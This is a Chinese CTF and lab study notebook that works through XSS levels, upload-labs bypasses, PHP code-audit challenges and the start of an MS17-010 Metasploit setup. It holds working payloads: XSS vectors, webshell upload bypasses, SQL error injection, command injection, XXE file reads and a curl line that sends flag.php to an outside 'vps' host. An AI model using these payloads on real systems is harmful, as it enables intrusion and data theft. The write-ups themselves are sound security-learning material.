直接查看源码

image-20210303171027487

这里用了angularjs的ng-include,直接在包含的页面里用<script>触发不了,用了img标签

AngularJS ng-include 指令

ng-include 指令用于包含外部的 HTML 文件。

包含的内容将作为指定元素的子节点。

ng-include 属性的值可以是一个表达式,返回一个文件名。

默认情况下,包含的文件需要包含在同一个域名下。

<element ng-include="filename" onload="expression" autoscroll="expression" ></element>

遵循SOP,只好调用第一关代码。

需要单引号包裹,否则变成注释。

paload:

/level15.php?src='level1.php?name=test<img src=1 onerror=alert(1)>'
image-20210303171428095

16

测试发现过滤空格,script,/,所以使用%0d %0a做分割符绕过过滤

payload

<img%0Asrc=x%0Aonerror=alert(a)>

<iframe%0asrc=x%0donmouseover=alert`1`></iframe>
image-20210303171803825

17

查看源码找到注入位置

image-20210303172359498

但是这里过滤<, >,使用事件触发弹窗

Payload:

?arg01=&arg02= onmouseover=alert(1)

文件上传

环境使用phpstudy很容易搭建

pass1

直接抓包修改文件后缀名为jpg,png,gif即可

pass2

查看源码

if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif'))

这段代码说明是对文件的MIME类型进行了过滤,直接上传 1.php 抓包后修改文件类型为 'image/jpeg' ,'image/png','image/gif',这三个类型都为图片

抓包修改MIME即可

知识点补充:

MIME类型对大小写不敏感,但是传统写法都是小写。

text/plain
text/html
image/jpeg
image/png
audio/mpeg
audio/ogg
audio/*
video/mp4
application/*
application/json
application/javascript
application/ecmascript
application/octet-stream

更详细的解释,

pass3

$deny_ext = array('.asp','.aspx','.php','.jsp');

只禁止了.asp,.aspx,.php,.jsp后缀文件,可以使用php3,php5,php7,phtml等等后缀名绕过

pass4

.htaccess文件的作用

  • URL重写、自定义错误页面
  • MIME类型配置
  • 访问权限控制等
  • 主要体现在伪静态的应用
  • 图片防盗链
  • 自定义404错误页面
  • 阻止/允许特定IP/IP段
  • 目录浏览与主页
  • 禁止访问指定文件类型
  • 文件密码保护
<FilesMatch "1.jpg">
SetHandler application/x-httpd-php
</FilesMatch>

这几句代码的意思:

通过.htaccess文件调用php解析器去解析一个文件名中只要包含”1.jpg”这个字符串的任意文件,

无论扩展名是什么(没有也行),都以php的方式来解析

上传完.htaccess文件后直接上传一个 1.jpg即可

pass5

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件类型不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

本题与第十题完全一样,详细解答见第十题

pass6

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空

        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件类型不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

仔细查看源码会发现少了下面的这段代码

$file_ext = strtolower($file_ext); //转换为小写

这里就可以大小写绕过。将文件后缀名改为.pHp , .PHP

pass7

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
        $file_name = $_FILES['upload_file']['name'];
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
            if (move_uploaded_file($temp_file,$img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件不允许上传';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

跟第六关对比发现少了这句话

$file_ext = trim($file_ext); //首尾去空

利用Windows系统的文件名特性。文件名最后增加空格和点,写成1.php .,这个需要用burpsuite抓包修改,上传后保存在Windows系统上的文件名最后的一个.会被去掉,实际上保存的文件名就是1.php

pass8

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件类型不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

这段代码少了这句话,可以与第六关相同的做法

$file_name = deldot($file_name);//删除文件名末尾的点

pass9

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件类型不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

仔细观察发现少了这段代码

$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA

采用Windows文件流特性绕过

将文件名改为 1.php::$DATA,但是实质上保存的文件还是1.php

pass10

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件类型不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

这一句代码是用来检测末尾是否是.,可以双写绕过。
抓包将文件名改为1.php. . (注意两点之间有空格) 前面去掉.然后检验.不存在,再去空格,留下php.,然后php.不属于$deny_ext数组中存在的,当然就直接提交了。因为windows自动去点,于是php后缀就出来了

pass11

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess","ini");

        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = str_ireplace($deny_ext,"", $file_name);
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = UPLOAD_PATH.'/'.$file_name;        
        if (move_uploaded_file($temp_file, $img_path)) {
            $is_upload = true;
        } else {
            $msg = '上传出错!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

$file_name = str_ireplace($deny_ext,"", $file_name);

这段代码是将文件名中出现 deny_ext的后缀名替换为空

可以双写绕过,即1.pphphp

pass12

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
    if(in_array($file_ext,$ext_arr)){
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = '上传出错!';
        }
    } else{
        $msg = "只允许上传.jpg|.png|.gif类型文件!";
    }
}

本题与之前的题目有所不同,这题的文件的保存路径是可以控制的

这里用的%00截断,原理如下

www.xxx.com/qq.jpg

www.xxx.com/qq.php%00.jpg => www.xxx.com/qq.php其后缀名为.jpg可以绕过检测,但是windows系统处理时不会处理%00之后的内容故保存的文件就是qq.php

pass13

这题与上题利用的原理相同

但是这里要使用 00的二进制形式

pass14

明确说了上传图片木马

function getReailFileType($filename){
    $file = fopen($filename, "rb");
    $bin = fread($file, 2); //只读2字节
    fclose($file);
    $strInfo = @unpack("C2chars", $bin);    
    $typeCode = intval($strInfo['chars1'].$strInfo['chars2']);    
    $fileType = '';    
    switch($typeCode){      
        case 255216:            
            $fileType = 'jpg';
            break;
        case 13780:            
            $fileType = 'png';
            break;        
        case 7173:            
            $fileType = 'gif';
            break;
        default:            
            $fileType = 'unknown';
        }    
        return $fileType;
}

GIF89a 是GIF图片的文件头 ,是为了绕过gif文件的检查

图片木马的制作

桌面建立一个文本文件将其改为2.jpg,再建立一个改为1.php,其内容为你想添加的一句话木马

copy 2.jpg /b + 1.php /a webshell.jpg

代码审计

1.in_array

//1.php
<?php
include 'config.php';
$conn = new mysqli($servername, $username, $password, $dbname);
if ($conn->connect_error) {
    die("连接失败: ");
}

$sql = "SELECT COUNT(*) FROM users";
$whitelist = array();
$result = $conn->query($sql);
if($result->num_rows > 0){
    $row = $result->fetch_assoc();
    $whitelist = range(1, $row['COUNT(*)']);
}

$id = stop_hack($_GET['id']);
$sql = "SELECT * FROM users WHERE id=$id";

if (!in_array($id, $whitelist)) {
    die("id $id is not in whitelist.");
}

$result = $conn->query($sql);
if($result->num_rows > 0){
    $row = $result->fetch_assoc();
    echo "<center><table border='1'>";
    foreach ($row as $key => $value) {
        echo "<tr><td><center>$key</center></td><br>";
        echo "<td><center>$value</center></td></tr><br>";
    }
    echo "</table></center>";
}
else{
    die($conn->error);
}

?>

漏洞解析

这一关卡考察的是一个任意文件上传漏洞,而导致这一漏洞的发生则是不安全的使用 in_array() 函数来检测上传的文件名,即上图中的第12行部分。由于该函数并未将第三个参数设置为 true ,这导致攻击者可以通过构造的文件名来绕过服务端的检测,例如文件名为 7shell.php 。因为PHP在使用 in_array() 函数判断时,会将 7shell.php 强制转换成数字7,而数字7在 range(1,24) 数组中,最终绕过 in_array() 函数判断,导致任意文件上传漏洞。

in_array()

image-20210320210651995

漏洞利用的例题如下

//index.php
<?php
include 'config.php';
$conn = new mysqli($servername, $username, $password, $dbname);
if ($conn->connect_error) {
    die("连接失败: ");
}

$sql = "SELECT COUNT(*) FROM users";
$whitelist = array();
$result = $conn->query($sql);
if($result->num_rows > 0){
    $row = $result->fetch_assoc();
    $whitelist = range(1, $row['COUNT(*)']);
}
$id = stop_hack($_GET['id']);
$sql = "SELECT * FROM users WHERE id=$id";
if (!in_array($id, $whitelist)) {
    die("id $id is not in whitelist.");
}
$result = $conn->query($sql);
if($result->num_rows > 0){
    $row = $result->fetch_assoc();
    echo "<center><table border='1'>";
    foreach ($row as $key => $value) {
        echo "<tr><td><center>$key</center></td><br>";
        echo "<td><center>$value</center></td></tr><br>";
    }
    echo "</table></center>";
}
else{
    die($conn->error);
}
?>
//config.php
<?php  
$servername = "localhost";
$username = "fire";
$password = "fire";
$dbname = "day1";

function stop_hack($value){
    $pattern = "insert|delete|or|concat|concat_ws|group_concat|join|floor|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile|dumpfile|sub|hex|file_put_contents|fwrite|curl|system|eval";
    $back_list = explode("|",$pattern);
    foreach($back_list as $hack){
        if(preg_match("/$hack/i", $value))
            die("$hack detected!");
    }
    return $value;
}
?>

可以看到网页的功能很简单,就是输入用户id,然后服务器返回用户的信息,但是对id参数使用in_array()函数进行了检查,但是我们可以利用上面提到的漏洞,只要payload的第一个字符在range(1,count(*))的范围之内即可绕过第检查。绕过效果如下

image-20210320214443192

但是有一个stop_hack函数,其过滤了很多sql注入中常用的关键词,导致了很多方法无法使用,其中or被过滤就很麻烦,information_schema中包含or单词,所以常规的注入方法无法使用。

这里可以使用报错注入,使用 make_set()函数实现报错注入。

image-20210320215543202
?id=1 and updatexml(1,make_set(7,0x7e,(select user()),0x7e),1)

表名,列名无法使用information_shcema,但是如果是为了获取flag的话,可以猜测是在flag表的flag列

最后获取flag的payload

?id=1 and updatexml(1,make_set(7,0x7e,(select flag from flag),0x7e),1)
image-20210320220057808

2.filter_var函数缺陷

<?php 
$url = $_GET['url'];
if(isset($url) && filter_var($url, FILTER_VALIDATE_URL)){
    $site_info = parse_url($url);
    if(preg_match('/sec-redclub.com$/',$site_info['host'])){
        exec('curl "'.$site_info['host'].'"', $result);
        echo "<center><h1>You have curl {$site_info['host']} successfully!</h1></center>
              <center><textarea rows='20' cols='90'>";
        echo implode(' ', $result);
    }
    else{
        die("<center><h1>Error: Host not allowed</h1></center>");
    }

}
else{
    echo "<center><h1>Just curl sec-redclub.com!</h1></center><br>
          <center><h3>For example:?url=http://sec-redclub.com</h3></center>";
}

?>

filter_var

image-20210320222243276

代码审计

输入的网址首先经过 filter_var()判断是否符合 uri 格式要求,然后用 parse_url()

提取出其中的 host 部分,拼接到 exec()函数里,而 url 是可控的,明显思路是要利用

exec()来命令执行。

可以使用如下 payload 进入命令执行,引号用来闭合 curl 后面的引号,分号则用来闭

合命令,从而执行 ls 命令,并且由于 parse_url()的解析问题,会把第一个分号后面的

内容当作 host 部分,则绕过了正则匹配检查。

?url=hello://";ls;"sec-redclub.com

此时的$site_info[host]的值为";dir;"sec-redclub.com,那么拼接后的语句 为

curl "";dir;"sec-redclub.com"

这样当exec执行时就会执行到dir命令,所以就可以列出目录

读取flag

?url=hello://";more${IFS};"sec-redclub.com

3.实例化任意对象漏洞

<?php
class NotFound{
    function __construct()
    {
        die('404');
    }
}
spl_autoload_register(
    function ($class){
        new NotFound();
    }
);
$classname = isset($_GET['name']) ? $_GET['name'] : null;
$param = isset($_GET['param']) ? $_GET['param'] : null;
$param2 = isset($_GET['param2']) ? $_GET['param2'] : null;
if(class_exists($classname)){
    $newclass = new $classname($param,$param2);
    var_dump($newclass);
    foreach ($newclass as $key=>$value)
        echo $key.'=>'.$value.'<br>';
}

这道题目考察的是实例化漏洞结合XXE漏洞。我们在上图第18行处可以看到使用了 class_exists 函数来判断类是否存在,如果不存在的话,就会调用程序中的 __autoload 函数,但是这里没有 __autoload 函数,而是用 spl_autoload_register 注册了一个类似 __autoload 作用的函数,即这里输出404信息。

我们这里直接利用PHP的内置类,先用 GlobIterator 类搜索 flag文件 名字,来看一下PHP手册对 GlobIterator 类的 构造函数的定义:

public GlobIterator::__construct ( string $pattern [, int $flags = FilesystemIterator::KEY_AS_PATHNAME | FilesystemIterator::CURRENT_AS_FILEINFO ] )

首先我们需要知道 flag 在哪个文件中,在 PHP 的内置类中可以用 GlobIterator 类来遍历文件系统,其构造函数的第一个参数为要搜索的文件名,第二个参数为选择文件的哪个

列目录的payload:

http://127.0.0.1/homework/php/xxe/index.php?name=GlobIterator&param=./*.php&param2=0

image-20210320230302156读取flag

方法一:

实例化 SimpleXMLElement类来进行 XXE

?name=SimpleXMLElement&param=<?xml version="1.0"?><!DOCTYPE ANY [<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=/f1ag.php">]><x>%26xxe;</x>&param2=2

image-20210320230727404

image-20210320230746924

方法二:

使用 SplFileObject 类直接读取文件

payload

?name=SplFileObject&param=./flag.php&param2=r

image-20210320231130526

4.escapeshellarg与escapeshellcmd使用不当

主体上就是一个过滤了后的mail函数执行。
mail函数的参数是这样的

bool mail (
	string $to ,
	string $subject ,
	string $message [,
	string $additional_headers [,
	string $additional_parameters ]]
)

由于默认调用的是linux的sendmail函数,所以可以在message中写入恶意代码。接着由additional_parameters 指定额外参数,从而写入在指定目录写入文件。

但是,php的mail函数也在底层默认执行了一层escapeshellcmd()函数,那么显然转义了我们的恶意代码。
不过,本题代码还有一处经典的escapeshellarg()。如果escapeshellarg()+escapeshellcmd()搭配使用,将出现特殊字符逃逸的问题。
buu上也有一个类似的题目.这里则借用项目里的例子简单介绍下

127.0.0.1' -v -d a=1
#escapeshellarg
'127.0.0.1'\'' -v -d a=1'
#escapeshellcmd
'127.0.0.1'\\'' -v -d a=1\'

此时最后一步可以看出,\\将被解释为\不再起到转义的作用,而是作为换行符。因此payload变为先是127.0.0.1,再-v -d-d对应的数据为a=1'.

比如CVE-2016-10033 跟CVE-2016-10045的两个payload

a( -OQueueDirectory=/tmp -X/var/www/html/x.php )@a.com

a'( -OQueueDirectory=/tmp -X/var/www/html/x.php )@a.com

前者没有escapeshellcmd直接打。后者escapeshellcmd后又加了一层escapeshellarg导致字符逃逸。

源码如下,对其进行了注释

<?php
highlight_file('index.php');
function waf($a){
    foreach($a as $key => $value){
        if(preg_match('/flag/i',$key)){//遍历所有键,不能出现flag字样
            exit('are you a hacker');
        }
    }
}
foreach(array('_POST', '_GET', '_COOKIE') as $__R) {//遍历所有以post,get,cookie方式提交的数据,
    if($$__R) { //例如$flag=a,$$flag-->$a,一个新变量
        foreach($$__R as $__k => $__v) { 
            if(isset($$__k) && $$__k == $__v) unset($$__k); //若之前有这个变量并且键和值相等,就删除这个变量
        }
    }

}
if($_POST) { waf($_POST);}
if($_GET) { waf($_GET); }
if($_COOKIE) { waf($_COOKIE);}

if($_POST) extract($_POST, EXTR_SKIP);//将键名变成变量名,如果传入flag,应该是设置了_GET['flag']这个变量
if($_GET) extract($_GET, EXTR_SKIP);
if(isset($_GET['flag'])){//必须设置以get方式传参的flag..这个可以用
    if($_GET['flag'] === $_GET['hongri']){
        exit('error');
    }
    if(md5($_GET['flag'] ) == md5($_GET['hongri'])){//数组或碰撞
		echo "success!";
	   $url = $_GET['url'];
        $urlInfo = parse_url($url);
        if(!("http" === strtolower($urlInfo["scheme"]) || "https"===strtolower($urlInfo["scheme"]))){
            die( "scheme error!");
        }
        $url = escapeshellarg($url);
        $url = escapeshellcmd($url);//特殊字符逃逸
        system("curl ".$url);
    }
}
?>

很明显的变量覆盖,之后要绕过waf。再接下来就是escapeshellsmd/arg的搭配进行命令执行了。
首先要解决的是,我们必须绕过preg_match的限制才能传入flag变量。因此要利用好它写好的这个功能。

首先这里利用了可变变量的特性。假设我们提交

?flag=test 
post:_GET[flag]=test

当开始遍历 $_POST 超全局数组的时候, $__k 代表 _GET[flag] ,所以 $$__k就是 $_GET[flag] ,即 test 值,此时 $$__k == $__v 成立,变量 $_GET[flag] 就被 unset 了

而接下来下面又有一个变量覆盖
if($_POST) extract($_POST, EXTR_SKIP);
所以直接得到$_GET[flag]=test绕过第一层

第二层只需利用0e的MD5弱类型比较
最后是curl的命令执行
http://baidu.com/' -F file=@/var/www/html/flag.php -x vps:9999
似乎当curl版本变高后,将不再能执行。
curl '127.0.0.1'\''

5.preg_match函数漏洞

// index.php
<?php
include 'flag.php';
if  ("POST" == $_SERVER['REQUEST_METHOD'])
{
    $password = $_POST['password'];
    if (0 >= preg_match('/^[[:graph:]]{12,}$/', $password))
    {
        echo 'Wrong Format';
        exit;
    }
    while (TRUE)
    {
        $reg = '/([[:punct:]]+|[[:digit:]]+|[[:upper:]]+|[[:lower:]]+)/';
        if (6 > preg_match_all($reg, $password, $arr))
            break;
        $c = 0;
        $ps = array('punct', 'digit', 'upper', 'lower');
        foreach ($ps as $pt)
        {
            if (preg_match("/[[:$pt:]]+/", $password))
            $c += 1;
        }
        if ($c < 3) break;
        if ("42" == $password) echo $flag;
        else echo 'Wrong password';
        exit;
    }
}
highlight_file(__FILE__);
?>

字符类的含义是

graph 空格以外的可打印字符
punct  打印字符,不包括字母数字

主要函数里,第一个正则表示匹配到可打印字符12个以上;第二个正则表示把连续的符号、数字、大写、小写,作为一段,至少分六段;第三个正则表示输入的字符串至少含有符号、数字、大写、小写中的三种类型。

最后与数字进行弱类型比较。
payload

42.00e+00000

第一种方法

http://127.0.0.1/index.php?option=a';%0aphpinfo();//
http://127.0.0.1/index.php?option=a

第一个payload写入内容后只有一个单引号被转义的问题。而第二部分再传入一个a时就会因为.*匹配无数次而把\换掉

还有两种preg_replace的方法、这里提下第二种,也就是还适用于单行(非贪婪)模式的payload。之前安恒的套娃web2里出现过。

http://127.0.0.1/test/ph.php?option=;phpinfo();
http://127.0.0.1/test/ph.php?option=$0

其最后的效果是下面这样的

<?php
$option='$option=';phpinfo();';';

6.parse_str函数缺陷

漏洞代码

function getUser($id) {
  global $config, $db;
  if (!is_resource($db)) {
    $db = new MySQLi(
      $config['dbhost'],
      $config['dbuser'],
      $config['dbpass'],
      $config['dbname']
    );
  }
  $sql = "SELECT username FROM users WHERE id = ?";
  $stmt = $db->prepare($sql);
  $stmt->bind_param('i', $id);
  $stmt->bind_result($name);
  $stmt->execute();
  $stmt->fetch();
  return $name;
}

$var = parse_url($_SERVER['HTTP_REFERER']);
parse_str($var['query']);
$currentUser = getUser($id);
echo '<h1>'.htmlspecialchars($currentUser).'</h1>';

漏洞解析

parse_str

先来看看定义:

parse_str
功能 :parse_str的作用就是解析字符串并且注册成变量,它在注册变量之前不会验证当前变量是否存在,所以会直接覆盖掉当前作用域中原有的变量。

定义 :void parse_str( string $encoded_string [, array &$result ] )

如果 encoded_string 是 URL 传入的查询字符串(query string),则将它解析为变量并设置到当前作用域(如果提供了 result 则会设置到该数组里 )

看了定义我们也能很快感受到它的漏洞点就是变量覆盖了。

PHP $_SERVER[‘HTTP_REFERER’]

PHP $_SERVER['HTTP_REFERER'],它是获取当前页面的url。需要注意的是,$_SERVER[‘HTTP_REFERER’]完全来源于浏览器。并不是所有的用户代理(浏览器)都会设置这个变量,而且有的还可以手工修改 HTTP_REFERER。因此,$_SERVER[‘HTTP_REFERER’] 是可以伪造的。
$_SERVER[‘HTTP_REFERER’]对 POST 表单访问也是有效的
我们想办法提交类似 config[dbhost]=127.0.0.1 这样类型的数据,这样因此我们可以控制连接的数据库,导致网站出现错误显示。

CTF题目

index.php

//index.php
<?php
$a = “hongri”;
$id = $_GET['id'];
@parse_str($id);
if ($a[0] != 'QNKCDZO' && md5($a[0]) == md5('QNKCDZO')) {
    echo '<a href="upload.php">flag is here</a>';
}
?>

upload.php

<?php
header("Content-type:text/html;charset=utf-8");
$referer = $_SERVER['HTTP_REFERER'];
if(isset($referer)!== false) {
    $savepath = "uploads/" . sha1($_SERVER['REMOTE_ADDR']) . "/";
    if (!is_dir($savepath)) {
        $oldmask = umask(0);
        mkdir($savepath, 0777, true);
        umask($oldmask);
    }
    if ((@$_GET['filename']) && (@$_GET['content'])) {
        //$fp = fopen("$savepath".$_GET['filename'], 'w');
        $content = 'HRCTF{y0u_n4ed_f4st}   by:l1nk3r';
        file_put_contents("$savepath" . $_GET['filename'], $content);
        $msg = 'Flag is here,come on~ ' . $savepath . htmlspecialchars($_GET['filename']) . "";
        echo $msg;
        usleep(100000);
        $content = "Too slow!";
        file_put_contents("$savepath" . $_GET['filename'], $content);
    }
   print <<<EOT
<form action="" method="get">
<div class="form-group">
<label for="exampleInputEmail1">Filename</label>
<input type="text" class="form-control" name="filename" id="exampleInputEmail1" placeholder="Filename">
</div>
<div class="form-group">
<label for="exampleInputPassword1">Content</label>
<input type="text" class="form-control" name="content" id="exampleInputPassword1" placeholder="Contont">
</div>
<button type="submit" class="btn btn-default">Submit</button>
</form>
EOT;
}
else{
    echo 'you can not see this page';
}

第一关

在index.php内有如下;

$id = $_GET['id'];
@parse_str($id);
if ($a[0] != 'QNKCDZO' && md5($a[0]) == md5('QNKCDZO')) {
    echo '<a href="upload.php">flag is here</a>';

可想而知我们需要用变量覆盖,payload为:

?id=a[0]=s878926199a

就会出来一个链接,点击就到了upload页面。如果我们直接访问upload会报错,因为有如下代码:

$referer = $_SERVER['HTTP_REFERER'];
if(isset($referer)!== false)

当我们是通过a标签链接过去的会自动带上refer字段。

第二关

uplaod主要代码:

if ((@$_GET['filename']) && (@$_GET['content'])) {
        //$fp = fopen("$savepath".$_GET['filename'], 'w');
        $content = 'HRCTF{y0u_n4ed_f4st}   by:l1nk3r';
        file_put_contents("$savepath" . $_GET['filename'], $content);
        $msg = 'Flag is here,come on~ ' . $savepath . htmlspecialchars($_GET['filename']) . "";
        echo $msg;
        usleep(100000);//延迟
        $content = "Too slow!";
        file_put_contents("$savepath" . $_GET['filename'], $content);
    }

可以发现会我们传入的filename会固定的存储在一个固定的位置,而这个位置会在输出中得到。
而文件的内容先是flag然后延迟一下马上替换为了 Too slow! 。其实输入的content并没任何作用。
思路:我们一直上传同一个文件名,然后使用python或者pb不断的访问这个文件。如果够快就不会把文本内容替换为 Too slow! 这样我们就可以访问到flag

MS17-010漏洞利用演示

1.准备工作

开启两台虚拟机,一台kali作为攻击方,一台win7作为被攻击方

将两台虚拟机桥接到同一网卡,并保证能够通信

Kali IP 192.168.164.143

win7 IP 192.168.164.135

使用ping测试即可

使用msf前需要开启postgresql服务

开启服务:

service postgresql start

查看服务状态:

service postgresql status

开到绿色字体的active即为开启了

初始化数据库:

msfdb init

3.pngimage-20210410130055679

2. 攻击过程

(1).首先判断目标主机是否打开445端口

